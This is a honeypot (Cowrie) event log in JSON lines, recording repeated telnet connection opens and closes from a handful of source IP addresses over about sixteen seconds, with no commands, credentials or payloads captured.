{"eventid":"cowrie.session.closed","duration":30.435354471206665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.134738Z","src_ip":"167.71.198.239","session":"f7faa1101ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":39154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a81a7feb17","protocol":"telnet","message":"New connection: 85.190.254.94:39154 (10.17.0.5:23) [session: e2a81a7feb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.162288Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.614868Z","src_ip":"171.244.143.209","session":"e7a2784b1aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":36536,"dst_ip":"159.203.135.109","dst_port":23,"session":"809d53c57cb6","protocol":"telnet","message":"New connection: 107.152.33.170:36536 (159.203.135.109:23) [session: 809d53c57cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.953858Z"}
{"eventid":"cowrie.session.closed","duration":30.753331661224365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.071087Z","src_ip":"136.244.67.81","session":"793768d37978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":45550,"dst_ip":"159.203.135.109","dst_port":23,"session":"52061347312a","protocol":"telnet","message":"New connection: 138.197.5.236:45550 (159.203.135.109:23) [session: 52061347312a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.099628Z"}
{"eventid":"cowrie.session.closed","duration":30.335692644119263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.108985Z","src_ip":"85.190.254.94","session":"bd993fe4b2ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07014226913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.128736Z","src_ip":"136.244.67.81","session":"fa1663acf8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":45722,"dst_ip":"159.203.135.109","dst_port":23,"session":"b758550c0a2d","protocol":"telnet","message":"New connection: 138.197.5.236:45722 (159.203.135.109:23) [session: b758550c0a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.295418Z"}
{"eventid":"cowrie.session.closed","duration":31.076351404190063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.324516Z","src_ip":"138.197.5.236","session":"6ab1475a07e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"64f0f822770c","protocol":"telnet","message":"New connection: 136.244.67.81:35696 (159.203.135.109:23) [session: 64f0f822770c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.560109Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":46542,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa7880f8eac","protocol":"telnet","message":"New connection: 138.197.5.236:46542 (159.203.135.109:23) [session: 1aa7880f8eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:09.902750Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60472,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c6105c2b12","protocol":"telnet","message":"New connection: 62.77.140.101:60472 (159.203.135.109:23) [session: 28c6105c2b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:10.049296Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":46750,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b21c6d8692","protocol":"telnet","message":"New connection: 138.197.5.236:46750 (159.203.135.109:23) [session: f0b21c6d8692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:10.221434Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":46852,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a05f8b939c","protocol":"telnet","message":"New connection: 138.197.5.236:46852 (159.203.135.109:23) [session: 65a05f8b939c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:10.272518Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46358,"dst_ip":"10.17.0.5","dst_port":23,"session":"62bc3b4d78da","protocol":"telnet","message":"New connection: 85.190.254.94:46358 (10.17.0.5:23) [session: 62bc3b4d78da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:10.455994Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0148254d6f","protocol":"telnet","message":"New connection: 85.190.254.94:46910 (10.17.0.5:23) [session: db0148254d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:10.591072Z"}
{"eventid":"cowrie.session.closed","duration":30.752106428146362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.057307Z","src_ip":"85.190.254.94","session":"6581b465fe51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":47934,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b3db3929bd","protocol":"telnet","message":"New connection: 138.197.5.236:47934 (159.203.135.109:23) [session: d9b3db3929bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.175989Z"}
{"eventid":"cowrie.session.closed","duration":30.67950439453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.306156Z","src_ip":"85.190.254.94","session":"49bb0e0c4242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"796181578262","protocol":"telnet","message":"New connection: 62.77.140.101:60478 (159.203.135.109:23) [session: 796181578262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.342985Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":48216,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16003c24a1c","protocol":"telnet","message":"New connection: 138.197.5.236:48216 (159.203.135.109:23) [session: f16003c24a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.399240Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49986,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88ec878c109","protocol":"telnet","message":"New connection: 85.190.254.94:49986 (10.17.0.5:23) [session: e88ec878c109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:11.514080Z"}
{"eventid":"cowrie.session.closed","duration":30.566867113113403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.059815Z","src_ip":"85.190.254.94","session":"4d1b49b1af88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65086579322815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.065504Z","src_ip":"85.190.254.94","session":"3ace5f923539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291719436645508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.070814Z","src_ip":"85.190.254.94","session":"7ce7ac13ad09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526146173477173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.349035Z","src_ip":"167.71.198.239","session":"843fcd7afc27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":35710,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f204d1e30d","protocol":"telnet","message":"New connection: 136.244.67.81:35710 (159.203.135.109:23) [session: 97f204d1e30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.450441Z"}
{"eventid":"cowrie.session.closed","duration":30.96899700164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:12.871790Z","src_ip":"136.244.67.81","session":"143a8342ef72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551860332489014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.099940Z","src_ip":"85.190.254.94","session":"ca9c2ca55c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999000787734985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.185159Z","src_ip":"138.197.5.236","session":"60b025ae0977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12476634979248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.320341Z","src_ip":"167.71.198.239","session":"0539f9b83e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276087045669556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.436313Z","src_ip":"138.197.5.236","session":"2ce1b550bc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56560,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cea5239c0e1","protocol":"telnet","message":"New connection: 85.190.254.94:56560 (10.17.0.5:23) [session: 1cea5239c0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.499962Z"}
{"eventid":"cowrie.session.closed","duration":30.75342035293579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.633194Z","src_ip":"138.197.5.236","session":"9bc4f6904f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.478224754333496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.679067Z","src_ip":"138.197.5.236","session":"9df862c0829c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19846773147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:13.684019Z","src_ip":"136.244.67.81","session":"f2285bb8d6ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942575693130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:14.104508Z","src_ip":"138.197.5.236","session":"8feecc1a0332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830435514450073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:14.322352Z","src_ip":"167.71.198.239","session":"b06998cf6b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.129700899124146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.064274Z","src_ip":"85.190.254.94","session":"b1dfc08f201f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.324211359024048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.070541Z","src_ip":"85.190.254.94","session":"ca93fd518780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":52478,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a4def087bb","protocol":"telnet","message":"New connection: 138.197.5.236:52478 (159.203.135.109:23) [session: 71a4def087bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.084416Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":52486,"dst_ip":"159.203.135.109","dst_port":23,"session":"50820dd3d626","protocol":"telnet","message":"New connection: 138.197.5.236:52486 (159.203.135.109:23) [session: 50820dd3d626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.091588Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53708,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ab82c697b44","protocol":"telnet","message":"New connection: 107.152.33.170:53708 (159.203.135.109:23) [session: 4ab82c697b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.125021Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60492,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6e1e801a24d","protocol":"telnet","message":"New connection: 62.77.140.101:60492 (159.203.135.109:23) [session: f6e1e801a24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.256404Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53722,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffdfb3a79ed","protocol":"telnet","message":"New connection: 107.152.33.170:53722 (159.203.135.109:23) [session: 2ffdfb3a79ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:15.261636Z"}
{"eventid":"cowrie.session.closed","duration":30.823384284973145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:16.176700Z","src_ip":"136.244.67.81","session":"79be320e9f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026862144470215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:16.214670Z","src_ip":"138.197.5.236","session":"64b7e705a2af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"af252f7b48fe","protocol":"telnet","message":"New connection: 85.190.254.94:38254 (10.17.0.5:23) [session: af252f7b48fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:16.421142Z"}
{"eventid":"cowrie.session.closed","duration":30.701467514038086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.058664Z","src_ip":"85.190.254.94","session":"b806c03239b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.410996913909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.169073Z","src_ip":"167.71.198.239","session":"fb0522a87b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26760458946228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.228731Z","src_ip":"167.71.198.239","session":"cf7b95e2d9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac40c320c4f7","protocol":"telnet","message":"New connection: 85.190.254.94:40660 (10.17.0.5:23) [session: ac40c320c4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.256861Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54600,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a4ec994c08","protocol":"telnet","message":"New connection: 138.197.5.236:54600 (159.203.135.109:23) [session: 47a4ec994c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.263318Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53724,"dst_ip":"159.203.135.109","dst_port":23,"session":"350930094813","protocol":"telnet","message":"New connection: 107.152.33.170:53724 (159.203.135.109:23) [session: 350930094813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:17.538225Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53738,"dst_ip":"159.203.135.109","dst_port":23,"session":"d749ead2e8c2","protocol":"telnet","message":"New connection: 107.152.33.170:53738 (159.203.135.109:23) [session: d749ead2e8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:18.054120Z"}
{"eventid":"cowrie.session.closed","duration":31.10203266143799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:18.277664Z","src_ip":"138.197.5.236","session":"b4a38df63853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250223398208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:18.362282Z","src_ip":"85.190.254.94","session":"1503aee2703e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557687282562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.049603Z","src_ip":"85.190.254.94","session":"e92bccd87290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":43124,"dst_ip":"159.203.135.109","dst_port":23,"session":"6212a0e5b805","protocol":"telnet","message":"New connection: 167.71.198.239:43124 (159.203.135.109:23) [session: 6212a0e5b805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.067494Z"}
{"eventid":"cowrie.session.closed","duration":30.821316480636597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.099496Z","src_ip":"138.197.5.236","session":"40f854f20010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":55662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c355907e6b51","protocol":"telnet","message":"New connection: 138.197.5.236:55662 (159.203.135.109:23) [session: c355907e6b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.228303Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ded8b587169","protocol":"telnet","message":"New connection: 138.197.5.236:56848 (159.203.135.109:23) [session: 2ded8b587169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.358541Z"}
{"eventid":"cowrie.session.closed","duration":31.2227942943573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.728957Z","src_ip":"85.190.254.94","session":"acd564ea3535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":43788,"dst_ip":"159.203.135.109","dst_port":23,"session":"953b7b2cbb60","protocol":"telnet","message":"New connection: 167.71.198.239:43788 (159.203.135.109:23) [session: 953b7b2cbb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:19.781874Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53754,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e1604a6cd43","protocol":"telnet","message":"New connection: 107.152.33.170:53754 (159.203.135.109:23) [session: 0e1604a6cd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:20.110315Z"}
{"eventid":"cowrie.session.closed","duration":31.023829698562622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:20.258499Z","src_ip":"85.190.254.94","session":"d1e6a19b515a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941454887390137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:20.308017Z","src_ip":"138.197.5.236","session":"8ee8df20d4e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":49954,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1756586acc0","protocol":"telnet","message":"New connection: 62.77.140.101:49954 (159.203.135.109:23) [session: e1756586acc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:20.938696Z"}
{"eventid":"cowrie.session.closed","duration":31.01622176170349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.071925Z","src_ip":"138.197.5.236","session":"e52457c6890c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910685539245605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.109567Z","src_ip":"107.152.33.170","session":"bdc804857740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40852689743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.114259Z","src_ip":"85.190.254.94","session":"adf83dab06c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867536783218384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.141870Z","src_ip":"107.152.33.170","session":"d20f3a6d6d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55394,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb4481042428","protocol":"telnet","message":"New connection: 85.190.254.94:55394 (10.17.0.5:23) [session: bb4481042428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.466395Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":59286,"dst_ip":"159.203.135.109","dst_port":23,"session":"122cdc89d225","protocol":"telnet","message":"New connection: 138.197.5.236:59286 (159.203.135.109:23) [session: 122cdc89d225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:21.708626Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":53762,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f26f1547b9c","protocol":"telnet","message":"New connection: 107.152.33.170:53762 (159.203.135.109:23) [session: 7f26f1547b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:22.023204Z"}
{"eventid":"cowrie.session.closed","duration":30.818504095077515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:22.057085Z","src_ip":"85.190.254.94","session":"96d4f898777e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463869094848633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:22.318835Z","src_ip":"167.71.198.239","session":"cb9074afcdf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":47228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d745575b74","protocol":"telnet","message":"New connection: 167.71.198.239:47228 (159.203.135.109:23) [session: a4d745575b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:22.653153Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":34630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0b494be82f","protocol":"telnet","message":"New connection: 85.190.254.94:34630 (10.17.0.5:23) [session: 5b0b494be82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:23.613047Z"}
{"eventid":"cowrie.session.closed","duration":30.69042134284973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:24.079516Z","src_ip":"85.190.254.94","session":"5e2217c17723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77421545982361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:24.128896Z","src_ip":"85.190.254.94","session":"e40a1f28d93c","protocol":"telnet"}
